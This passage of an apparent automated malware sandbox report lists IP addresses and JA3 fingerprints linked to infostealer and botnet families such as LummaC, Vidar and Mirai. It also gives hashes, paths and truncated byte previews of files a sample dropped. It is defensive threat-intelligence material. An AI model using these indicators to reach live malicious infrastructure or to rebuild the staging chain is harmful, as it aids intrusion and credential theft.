	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
CLOUDFLARENETUS	FloydMounts.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.25.41
	5uVReRlvME.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Remcos, Stealc	Browse	172.67.165.185
	0A7XTINw3R.exe	Get hash	malicious	Unknown	Browse	104.26.8.44
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	K9esyY0r4G.lnk	Get hash	malicious	Unknown	Browse	104.21.67.124
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
NTLGB	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	81.97.105.115
	installer_1.05_36.4.zip	Get hash	malicious	NetSupport RAT, LummaC, LummaC Stealer	Browse	185.161.251.21
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	163.165.65.186
	xd.ppc.elf	Get hash	malicious	Mirai	Browse	92.237.44.174
	telnet.ppc.elf	Get hash	malicious	Unknown	Browse	80.4.135.78
	armv4l.elf	Get hash	malicious	Mirai	Browse	62.254.229.173
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	82.3.236.97
	loligang.x86.elf	Get hash	malicious	Mirai	Browse	213.107.138.142
	splarm7.elf	Get hash	malicious	Unknown	Browse	82.43.102.253
	jklspc.elf	Get hash	malicious	Unknown	Browse	86.21.69.116

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	FloydMounts.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.214.186 104.21.94.92 185.161.251.21
	RDb082EApV.exe	Get hash	malicious	LummaC	Browse	172.67.214.186 104.21.94.92 185.161.251.21
	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	172.67.214.186 104.21.94.92 185.161.251.21
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.214.186 104.21.94.92 185.161.251.21
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.214.186 104.21.94.92 185.161.251.21
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	172.67.214.186 104.21.94.92 185.161.251.21
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.214.186 104.21.94.92 185.161.251.21
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.214.186 104.21.94.92 185.161.251.21
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	172.67.214.186 104.21.94.92 185.161.251.21
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	172.67.214.186 104.21.94.92 185.161.251.21

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\723356\Ted.com	FloydMounts.exe	Get hash	malicious	LummaC Stealer	Browse
	installer.bat	Get hash	malicious	Vidar	Browse
	skript.bat	Get hash	malicious	Vidar	Browse
	din.exe	Get hash	malicious	Vidar	Browse
	yoda.exe	Get hash	malicious	Vidar	Browse
	lem.exe	Get hash	malicious	Vidar	Browse
	script.ps1	Get hash	malicious	Vidar	Browse
	installer_1.05_36.4.zip	Get hash	malicious	NetSupport RAT, LummaC, LummaC Stealer	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllul9kLZ:NllUG
MD5:	087D847469EB88D02E57100D76A2E8E4
SHA1:	A2B15CEC90C75870FDAE3FEFD9878DD172319474
SHA-256:	81EB9A97215EB41752F6F4189343E81A0D5D7332E1646A24750D2E08B4CAE013
SHA-512:	4682F4457C1136F84C10ACFE3BD114ACF3CCDECC1BDECC340A5A36624D93A4CB3D262B3A6DD3523C31E57C969F04903AB86BE3A2C6B07193BF08C00962B33727
Malicious:	false
Preview:	@...e.................................,..............@..........

C:\Users\user\AppData\Local\Temp\41b5d0bf

Download File

Process:	C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe
File Type:	PNG image data, 2032 x 4684, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	7043853
Entropy (8bit):	7.998562535252469
Encrypted:	true
SSDEEP:	196608:jzqqLRn623k+aKXkb4M5mXeHe1djFWgyq:jeqQLMXkbyXe+1djFiq
MD5:	667C9BCB2BC991D875DB198CCD2FB30C
SHA1:	67703DD819A60A8E46023967573DCD6008FBAA8A
SHA-256:	381D8954975FA48B4A07624C65DE7A29BBF7DDFD0B6DFB68AAC312C7E82EC526
SHA-512:	470CAC2E53058051C8CE3BA05D79C7362B717204BC7475FFA9B674AC003E65525FC366DF94EAEE9B73467233E1BAB0510A92F22941C2382767A16F28DBE3D332
Malicious:	false
Preview:	.PNG........IHDR.......L......E5... .IDATx..9.$G.....32g..X.w.tvA&P..(y.M.....r7.Q.r.ke.....0...3...>Vk.$.........33.##3#3.......p......./?BD.`n..DDDD\.._@...c...10.0...G.<n.E~.9./...q\|J..P...59.... O.3..@...0..)....!.=..).s{v.....4MC..Oi...]J.."g.R......m....1..RJ...n..)..+..B....B...{(.T...6-9.....Pkp...MKn#...m/dx..v....M.l?""..#.."v...C.\|....c..H>c.].H..M.\|B57.\|..)B.d.m.........;f..gg0&....n.c....0.4..6.~.T7........+:..../_..DDD.E....x...C..cL................3.y(;....)k......\|;..b.cz.....y.o..l.....Y.&n.....g7.g...Rx!.....u].5...m...#...@...\|....P.1....Z.M.....6...n$D.......?......q-....C....sI>...q/....G.0 ..(?4.....F....H..%..A......(..g;$_H..7`. D.......B........P..a./].o.$..I~w.D...!.._b.I..5...^)....X......k..\|V.NB\.<<D..q...W$k.>..@..^..}p-..=.....k...........h.nB~W.3...r..................\|.f....S....ew./.d....T..I..W.Q~.]1.O..:...\|)....'V.k_.1...F.1..7l$D.......V...m.9..B\.<h.....?...<n.Q>.d.....<.T.o"..[7...H..S.._.S..N-.

C:\Users\user\AppData\Local\Temp\723356\F

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	453416
Entropy (8bit):	7.999579606696287
Encrypted:	true
SSDEEP:	12288:NG1jlUuwxzjsWqcb3es4HEh7KCQILlgDRsEl:M7ZOzGcjerHEh7KCQugDRs2
MD5:	EB3780DC43C06E680BBD8A3E8AEB1294
SHA1:	957FE120412423C43B417C87573644960CF20120
SHA-256:	46E48F215E9D1AD1B1FDCD3CC8BF520153D9A6B5E015DBA87FA9736CDAA62374
SHA-512:	BEEB845BDC4900B17FB782977DFD4F00F83DBE8B40C78BA30474691D2020093B9BC3AF4A27EE54791DEB4C0C34701251A6A01A99AA9828890433B22FC3FEFBD4
Malicious:	false
Preview:	...{.b .r%^2( M...K{.S..;..4..N..i8.U_.....A.$3.9...yg.&\|O="A....pG..z.......X....h..L..9..H...5.@.\q"1.l.!.....Y1@.{.$K...P.....u?.4X.q..)+....J...._..zo<t..... .bx.D.... ..l..wT....$.}5..9.\)..E"IK....`..{P.z.J.kT#...~....b.U,w..9R3..eb..o.;8...&.C..(.,...is.u.kB.. ..4nG.y.gS..:/.4....."G6.......K..2..R..AJ..\|.8...9...HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....D.F.'.F...h..............V..{....V..{...kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..q.P..,P..Myn.2..t.W....V`.........>.V...h...V..{...m.........8.5...x..2).U.j....2>..#.~...........i.1.\|.X=.h...F,.G.."=.....a2I.v...*.pW.EMcY.P.4..l.}......... ........yd.{..Q.'..E...G.=.R.14kv..J.Hu.E_hNV.)y.lL...CM.

C:\Users\user\AppData\Local\Temp\723356\Ted.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: FloydMounts.exe, Detection: malicious, Browse Filename: installer.bat, Detection: malicious, Browse Filename: skript.bat, Detection: malicious, Browse Filename: din.exe, Detection: malicious, Browse Filename: yoda.exe, Detection: malicious, Browse Filename: lem.exe, Detection: malicious, Browse Filename: script.ps1, Detection: malicious, Browse Filename: installer_1.05_36.4.zip, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Beatles

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	99328
Entropy (8bit):	6.56398211397253
Encrypted:	false
SSDEEP:	3072:1UkBJR8CThpmESv+AqVnBypIbv18mLthfhn6:1UkB0CThp6vmVnjphfhn6
MD5:	641F3A5E2CEC2B07A273E98EBFE13F37
SHA1:	13B1EF129E89B180BBF4FCDF4B527E6D9E9E9852
SHA-256:	F15C25A5E84B52A82B6D523CB6D8E103EB7E7B20A63B439663324AFE6BCDE4D0
SHA-512:	A1AE3911210A5C50C3DF4FDBD4547562ADB63CB990B7A39A9ACB2A36DB6B677F7E676A20FB2ACB8DBB3C1F58EA3944AB2DD825F6C473BEC3A5650312F1DAEEE2
Malicious:	false
Preview:	.....u+Sj)^j....$........;.u..s)....j........;.t.[..._..^.SV..3.9^.u..F$h..I.P....F.YY..u.j.X......^.9^.u,......h.zL.P....F YY..u.9^.t..v......Yj...^ .F..^.P..^...<.....@.....D.....L.....P.....H.....`.....d..........t!9^.t..v....Y9^ t..v ...Y3.@.[W...........t 9^.t..v..y...Y9^ t..v .k...Y...,...)..........9^.t..v..K...Y9^ t..v .=...Y3._^[.U..QQSVW..._..].....j...........u*j.......<.....8..............<.....@....[j...............<...+.M...t<...<...H..8..........E...%....C........<.....@....E...u.]....b......`.....H....u.9.<.....H......]...3._^[..j.X..V..8.....t.P.I...Y..\.....t.P.8...Y..X...^..t.P.&...Y..@M.V..W=....v3.%.@M....T.....t(.N.3.k.d.v.PQ.v.......u..H......@..@M._^.U..QQV..~..u..F..F.j.P.E.P.Z.........v..E.j.j.P.........M...E..F........E....E........E......E.h.zL....E.P.h.....YY....^....3.3....Q..Q..Q..Q..Q..Q..Q..Q f.A$f........T....W....D...;.<...ss....u8V..D.....8..........W..........G...D.....D...;.<...r.^.5..D.....8...............P.d.....D.....D

C:\Users\user\AppData\Local\Temp\Cottages

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	71680
Entropy (8bit):	6.671554941457524
Encrypted:	false
SSDEEP:	1536:EUn9r5C03Eq30BcrTrhCX4aVmoJiKwtk2ukC5HRu+OoQjz7nts/M267:7nj0nEoXnmowS2u5hVOoQ7t8T67
MD5:	9B28BEC970EB44B73103FEA3CD8994A5
SHA1:	E702C34A9B1AE810542FCDB4DA25667B56DBCF5E
SHA-256:	590BB77FFB5B96228ED3D73DBE8ABE145EC9F6350BF893CDBFE47D7C5E6EC529
SHA-512:	4EA6A8A488B24915D53A7E29947CE1C59C12C411AF30194E95D123D94E063F8A7C4F3CA06845494CAF548C99B078FCFC3079B1FCDEDA3BF0676309819B2EA25E
Malicious:	false
Preview:	..5M...5M.]...j.h .I.h.iL.j.....I.j..F=...U..V......I..m...v.......E..Yt.j.V....YY..^]...U...43..E.....SV...E...E..E.U.W.E..u.PQ.M..E.P.]..^...............u..M......Y....w...!].E.P.E.P.E.P.u...l.I.....W...j..E.SP.~.......E.....9].t.j.j..E.P.u...p.I.....#....u..=L.I...M.Q.Q...B.M..4...Y........9].].tE.E..t>3...t8.E.PV.u.....I..........M...A.PQj.j.S..x.I.........F;u.r..u...p.Vj...t.I.P..p.I....}.........u..G.f.w.P.u...L.I.P..P.I...tl.u..e......F....F..G....G...G.PWj.j.S..x.I...t=.E....@.E....r.u.j.Sj.V..\|.I...t.V.E.P.u.....I...t..E.....].u..}...=x.I.t..u.j...t.I.P...t.Vj...t.I.P...t.Sj...t.I.P..E..t.Pj...t.I.P..E._^[....U...43..E.....SV...E...E..E.U.W.E..u.PQ.M..E.P.]..5...............u..M.....Y....w...!].E.P.E.P.E.P.u...l.I.....W...j..E.SP.U.......E.....9].t.j.j..E.P.u...p.I.....#....u..=L.I...M.Q.Q...B.M......Y........9].].tE.E..t>3...t8.E.PV.u.....I..........M...A.PQj.j.S..x.I.........F;u.r..u...p.Vj...t.I.P..p.I....}.........u..G.f.w.P.u...L.I.P..P.I...tl.

C:\Users\user\AppData\Local\Temp\Gen

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	71680
Entropy (8bit):	6.68378771516787
Encrypted:	false
SSDEEP:	1536:VW8/uC6LdTmHwANUQlHS3cctlxWboHdMJ3RraSXL21rKL:edTmRxlHS3NxrHSBRtNL
MD5:	185C43D0D2A11EF533DBC007F2E73518
SHA1:	DAC6544FEA6AF03F69642CD5C31E7055CCC39726
SHA-256:	2C1D1385AF354ECBC56570BFE3B5DD0B1A8A25F3C75A6D04B6AC1BE7733F674C
SHA-512:	067444349474CCB2993A62DB95E2136A386DC16C68ADEBBDAAE13034237339D886BD38CC9A2E69EB6DD5C9F8F40EFA21244F32C9F7B0104C574267BF38B2EDA2
Malicious:	false
Preview:	....._ ..w/..U...... ........... ....=...../ ....1..........0.... .............w<............w.................. ......t...............c....._ ..w/..U...... ........... ....=...../ .........,......0...................w.....................o..........( ..........) ....R..............w........A......3.......................................FD...................f9E.......FD..........j.....f;.w`.FD..........Q.....f;........FD...........4.....f;.w.FD.................f;........FD......t....E....E.@P.u...V.u..u...........k....k.........a............2...;.......&....Fh........................................C...C9.....s[f.;wt.f.8wuO.E......E.......C...C.E......f.;w..[....F..U..M....F..M..L...N.+M.F..U....E.....{.................E.@P....u.V....1L...C..u....u...K.]..........E...t.=....u........u........D...=......9...................s....................E..M.@P.u....V.u.....1L..u...C.%.......................E..M.@P.u....V.u.....1L..u...C.........th....{........

C:\Users\user\AppData\Local\Temp\Guitar

Download File

Process:	C:\Users\user\Desktop\appFile.exe
File Type:	Microsoft Cabinet archive data, 489587 bytes, 11 files, at 0x2c +A "Cottages" +A "Remarkable", ID 7646, number 1, 29 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	489587
Entropy (8bit):	7.998688003983249
Encrypted:	true
SSDEEP:	12288:/jRbYrqh26J6bPvXiqH6v1jVnonpgqEYVA6rUjTV6Nwx:9Urqh2PLsdsgqEYVDYHx
MD5:	6A6C582435956F39C466785F654A2142
SHA1:	5148CC44BB5FC0DB20E36E437DDD0013DD510039
SHA-256:	6934D989D4EAFC5FF99DCA1A2F85AFDF7A4E58F3761D915DE7BC6A577CE15D07
SHA-512:	6A6CF0C06B8635B6DAE681C48CCCD9B57CB4FEEF5E2FF33C535C25766D7F96B018CC9CC35E9E3E9BAB0137EFCCF1964D588AA8BAE24C158AA9CE04068B6DF958
Malicious:	false
Preview:	MSCF....sx......,...................1..................Y.. .Cottages............Y.. .Remarkable...... .....Y.. .Michigan............Y.. .Beatles..@...P.....Y.. .Serious............Y.. .Purpose......(.....Y.. .Harvest.\....D.....Y.. .Portions.....aH.....Y.. .Gen.....a`.....Y.. .Ottawa..$..aP.....Y.. .Tmp.6M..J..CK..xT..8\|w.&.....F.F.e....l...l..&h6.ea7...V.n.....%1..p.W..V...}k.....................I7..5..".;g..f...>..<....v...3g..s.n......?..DAuD...."G?S+...7ql..Z.o.qh-.....GO.....=o.[D.....W.4DsUG.>....d..;....Rw... .Cdl.. C.wL.........%...Kq.7..,A..$w............OP.e[.....wH.{...bhcF..#+.n..C......5a@W..#.._.8..\..Jh3n.m..qd.......H .p......45.y....8.........3.oY.;..X.....J.....V%...5h.u.A......4^..J!U2....@.>HRo?.m.....WK-.V...y.".)...F.9bw.Bl@.......j...E{O.U.O.<..x..\..G......T-!#o.....{)...}..+....%.....X..@.....@v......g.r(.y8.3....v.d.....M...s.{.r...e...`......e.....b.........9..0vS....R....y%...b.{...K..t.tn..K.)....k....m.

C:\Users\user\AppData\Local\Temp\Harvest

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	138240
Entropy (8bit):	6.714902202170175
Encrypted:	false
SSDEEP:	3072:PUDQWf05mjccBiqXvpgF4qv+32eOyKODOSpQSAU4Cl:PUDtf0accB3gBmmLsiS+SAhCl
MD5:	7BD453CB989233BC60242C2CB7CD1D27
SHA1:	D67069DA20FF2D4F3D1BDABA8EA07E3916216EC5
SHA-256:	EDB9DA0F217081DCFC28FAD3021C9D48BD06A578121C01AF853CC59E369E61B8
SHA-512:	C546E3A31268E0967932232016634D5F7C09C8A1FB1EA52F6715C108C3740D4B1B629F0ADE9038FA1233E735C44B33C1D6856870B1843304EF56482BA435E121
Malicious:	false
Preview:	B...U..Vj.....D..Y.u........F....F.....^]...U....SVW.}...3.j.A.G.[.M..@.f9X...V......e....d....;.........m.....h.............:.t...uY..:.t...uS..:.........uI..]...;Z.~L..u>..;Z..A.U.B.U...u1.M...d....@...;...H..._^[.....P0.P0.P0.P0.@0..j.h.....:...U..Q...SVW.13.....M.x>..>.+....S..s...0.u......YY..x.~..{..M.;.~.;....._^[.....s.......V..~..t..~..Wu..~.........F.._.N.^.N..y...t.Q......~..F....V...(..j.V.=C..YY..^...U..V..W.F...........}.S..........j.[9_...4..................[.N.....4..._..^]...U..QSVW...G...................u?.u..~....O...j.Y9N..........6........../...O..........._^[.......................M...U..QQV..~..t..y......]..'...E....F.....^..U....SVW..M.h..I......u..F....x........j8..B......$.....'..>B..Y..G..c....O..#......T....F..0...]....v....>..........PV.G(.$.......F....................G(........E..x....y.......>.....U.+w...u......V.........M.......E...P.E.P.W............M..E.P.......j..u..H....a....M......E..@....x..u....~.....t.Q...B..._^

C:\Users\user\AppData\Local\Temp\Michigan

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	109568
Entropy (8bit):	6.274615604774731
Encrypted:	false
SSDEEP:	3072:AZg5PXPeiR6MKkjGWoUlJUPdgQa8Bp/LxyA3laWA:AK5vPeDkjGgQaE/lO
MD5:	95D0644D2EF884485D61CCA79E17B1CD
SHA1:	24499736CDEFD169B81ADFEE96EECB77BBCD2CF3
SHA-256:	90F3A0986048C053DA716E5B64D92807AA600739CAFC19207A101BD843A779A9
SHA-512:	BC7C9EFFAA1E6AB23DA85DA801F64AAA1DD4F65BEF5BECC1636A5D5B7BEE7025C0AED6AAEB8BA54A2454628B7252C098010B53A689B7B3F31D3DBB8195785DB8
Malicious:	false
Preview:	.Y.0$M.Q.@..0$M.P.=B..h.'D.....Y...C..h.'D.....Y.....h.'D..}...Y..+O..h.'D..l...Y..!...h.'D..[...Y.45M....h.'D..E...Y.U....SVW.}.....e....E..E..w..E..E.E.E............v..G..H..z....E....v..G..H..g....E....v..O..I..T....E...v..O..I..A....E...v..O..I.......E...v..O..I.......E..O..1...?}...u..N..u..u..u..u..u..u..1........p.....u.........F.....3._..^[....U..V.u.3.W.~....p....N.j.j.P..j.j....Pj......u..........>3._.F.....^]...SV..3.Wj._.N...N(...^..^..~..^..^..^ .^$.4......f.^8.Nl.F:..^<.^@.FL.FP.FT.FX.F\.F`.Fd.....j....................F\|U............[............u......3........................l.....p.....t.....x.....\|...........................f.............................................................._......^[.U..SV..j.[.F.9F.u0...j.X;.sF3.F...W.......Q......~....Y.......~._S.....Y.M......V..N.....F.^[]......U..QQ.}..........L)M....tv.}.........@)M.3.VW.}.B....U..0...E............}..t .M.......~L........E.j.P.FL......E....u..E ...u..~8...q....._^....3....

C:\Users\user\AppData\Local\Temp\Ottawa

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	5.9475128045113115
Encrypted:	false
SSDEEP:	1536:vsWccd0vtmgMbFuz08QuklMBNIimuzaAwusm:DeAg0Fuz08XvBNbjaAtsm
MD5:	DCC58B08997FA508D67CDF34FAD559AC
SHA1:	B247157971A94EEE4D4C7034C72844618E0F52F9
SHA-256:	2643095218EEB2AE2F46FF6A15F416EBD7254522C61AA1E2364E03B8E2E90DAA
SHA-512:	24655C9E93DA723148A031640DD80F2B00328645AD3F9671FF2B582346B85EBF843C5C437D441827E87F481149D4006FAF1202134E6D70073A358CCCC03637D7
Malicious:	false
Preview:	.A...a.f.-.Z.A...k.a.-.G.E...f.o.-.F.O...h.i.-.I.N...m.t.-.M.T...s.e.-.N.O...m.s.-.M.Y...k.k.-.K.Z...k.y.-.K.G...s.w.-.K.E...u.z.-.U.Z.-.L.a.t.n.....t.t.-.R.U...b.n.-.I.N...p.a.-.I.N...g.u.-.I.N...t.a.-.I.N...t.e.-.I.N...k.n.-.I.N...m.l.-.I.N...m.r.-.I.N...s.a.-.I.N...m.n.-.M.N...c.y.-.G.B...g.l.-.E.S...k.o.k.-.I.N.....s.y.r.-.S.Y.....d.i.v.-.M.V.....q.u.z.-.B.O.....n.s.-.Z.A...m.i.-.N.Z...a.r.-.I.Q...d.e.-.C.H...e.n.-.G.B...e.s.-.M.X...f.r.-.B.E...i.t.-.C.H...n.l.-.B.E...n.n.-.N.O...p.t.-.P.T...s.r.-.S.P.-.L.a.t.n.....s.v.-.F.I...a.z.-.A.Z.-.C.y.r.l.....s.e.-.S.E...m.s.-.B.N...u.z.-.U.Z.-.C.y.r.l.....q.u.z.-.E.C.....a.r.-.E.G...z.h.-.H.K...d.e.-.A.T...e.n.-.A.U...e.s.-.E.S...f.r.-.C.A...s.r.-.S.P.-.C.y.r.l.....s.e.-.F.I...q.u.z.-.P.E.....a.r.-.L.Y...z.h.-.S.G...d.e.-.L.U...e.n.-.C.A...e.s.-.G.T...f.r.-.C.H...h.r.-.B.A...s.m.j.-.N.O.....a.r.-.D.Z...z.h.-.M.O...d.e.-.L.I...e.n.-.N.Z...e.s.-.C.R...f.r.-.L.U...b.s.-.B.A.-.L.a.t.n.....s.m.j.-.S.E.....a.r.-.M.A...e.n.-.I.E...e.s.-.P.A...f.r

C:\Users\user\AppData\Local\Temp\Portions

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	1116
Entropy (8bit):	3.457209159210881
Encrypted:	false
SSDEEP:	12:UyGSG+fCtJfjEvadTfA43k66h1ICdC3v6clC1zgNu3NIhfnQ2:UyGS9PvCA433C+sCNC1skNkvQ2
MD5:	7AA678448D2E251624FB581A182C933E
SHA1:	9BC43EF4A483612DA2DB2DFC6EAFD01C9B1991F8
SHA-256:	0590F5CFF2D3DEBB5F0DE0D7A1BCDB9BAA7E7B23801980DEFBB3CF58AFB8DEC8
SHA-512:	48543D2639E31ABCE2DC56F4911880619CBA45F597C0799AEC4864A899536E3F473634EAD584A11EF1E1B706FB217F52CB2741BDAEEE81B85A7FAA121E228BE7
Malicious:	false
Preview:	Principle........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B.......................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Pupils

Download File

Process:	C:\Users\user\Desktop\appFile.exe
File Type:	data
Category:	dropped
Size (bytes):	68608
Entropy (8bit):	7.997577013133
Encrypted:	true
SSDEEP:	1536:BJuPE9dlj9o8t/0k9I//XBFuQZqZ0S/bUsG3ZY0HKi1:BJ+YHoY8JXIDUskYNi1
MD5:	608D07816B44F5FE82201DA3590A0E01
SHA1:	071B8ECEA7E81EDA116E59561EC84ABF56051183
SHA-256:	5280CD6E12F5AABBB49B362CFEBF15CF9245926292CE3BE63C341DF63E0B1E05
SHA-512:	E60AE32767E0CB3B69EDBC0695C2B0F0ABF85B98DF08FD3DA8ECD3E6093C638D90F7A9CC482B1316F3D6A5C8BFD75FD34FDADDE6A55F622E43D62CFFB38FD757
Malicious:	false
Preview:	j.....w..d....s4.....S....h.......a...H..V...tR>...X.o.n.....l.........k9.x...[.p.e...v'V...(....W`K\|.X....M`.s.....8P....-.........T....rJ.9.G...s.6...V...w...d>n..^.m`..2;.........K....K.Y...,.!.(C..u.m..'.[[........S).jgD..l..b...O.U..u(f..O.../I.D4.+..S.e.....L...=...[.yq.ihf.~. .Y..J...7...muC...0hbcs@9.>..0!t5...4..E.=k..#....6.=..6......Zh......>~r........=E......u<Nf/.hS.. .g...a..F....#.......]R.zU.xp.H...w"P.S....V;.....2e?...2.....X........Z...xR.g../..:..^......,3..>.o....jD...-..?......Bs..d...X).....%.'...t.gHS.F...v...D....n]....X.D...\|?...Q..7.t...W..t...4h^%%.v.q@j9...{.mX.l...`Y..h.....u..7.._7..A.f:{.a.=tXO..H..nc7.,.r...k.].S..Ji......k.F.....T.;...!6...h....8.,......c0.......ip.W.]u..].J.a..K.O.p.P`.2iyI;ZZU....p..u....A.......$_...s..z..`i].....&......<.....\=..I_....q.=.^.bY.....h....s...;!...BW.<zZ.q...Ar.0...\.h.35....R..)."K.+.C%.t.@....R.j..a9.~?.(.coP....c....#....y.I...c....a.r...T.`.g......Q.6I..hN.\|{T.....

C:\Users\user\AppData\Local\Temp\Purpose

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	104448
Entropy (8bit):	6.326134603271681
Encrypted:	false
SSDEEP:	3072:beoMmOqDoioO5bLezW9FfTut/Dde6u640ewy4Za9coRC2jfTq8QP:sO5bLezWWt/Dd314V14ZgP0JP
MD5:	04FA07B9817A4D384B9A42487F6C3D63
SHA1:	38B7E4CB5DCA339A7F1703B11637BF962298E4CD
SHA-256:	03121838E235043743D471728F2E74718DD4D98BADF8B75DABA52FD8B2BCCA58
SHA-512:	6DB6B4DF6DBBDC5AF550E140A5241A8AC5FA3AF6F9FCA161B80D0F177862174F469306E4687831F43B149856B3436344EE5A5150629AE7A5CFF03D5B116B9CF7
Malicious:	false
Preview:	.S.Fl..........:6...f..j.Xj.j.P.F..>.\|$,S..l...........6...f..j.X.>.F..t$...`.I..,...@..\|8...L8.t..I8.A......\|8...L8.t..I8.A.._^3.[..]...U.........SV3..D$ ..K.WVj..t$0.t$4.t$8.D$p,.......I....D$hPW....I..]..L$..G....L$H.>.....$....P.L$\......D$H3.P.D$.PV.L$d.2.......L$X.0....D$HP.L$..?...9s.t(.C..0...9....F.3.V.p..0.t$ .t$ ..1....uA.D$p.L$$.D$4.D$..D$8.D$..D$<.D$..D$@.D$..D$D...D$4P......L$8.....L$H.....L$......D$hPW....I.........W..`.I..M.......\|$,..j..O.Qj.S.C...VVj.j.S.gj....$.....[4..3..>@.F............D$(.t$ .D$......Pj.Vj.j.S.j............L$......D$..D$...y.....L.j.Vj.j.S.\$$..i...........3...D$..D$....F.........t$ F.D$..t$ ...u..L$$.D$$..K..k....t$(.N..Y_^3.[..]...U..QSV.u.W.....3...&.3.B.V....H..\|9...D9.t..@8.P..\|9...D9.t..@8.]..@...C..0...j....N..E.P.U.."...}..Y.......u.j.h........I............K..I.........t9...t-...t$...t....t....uf.....................j 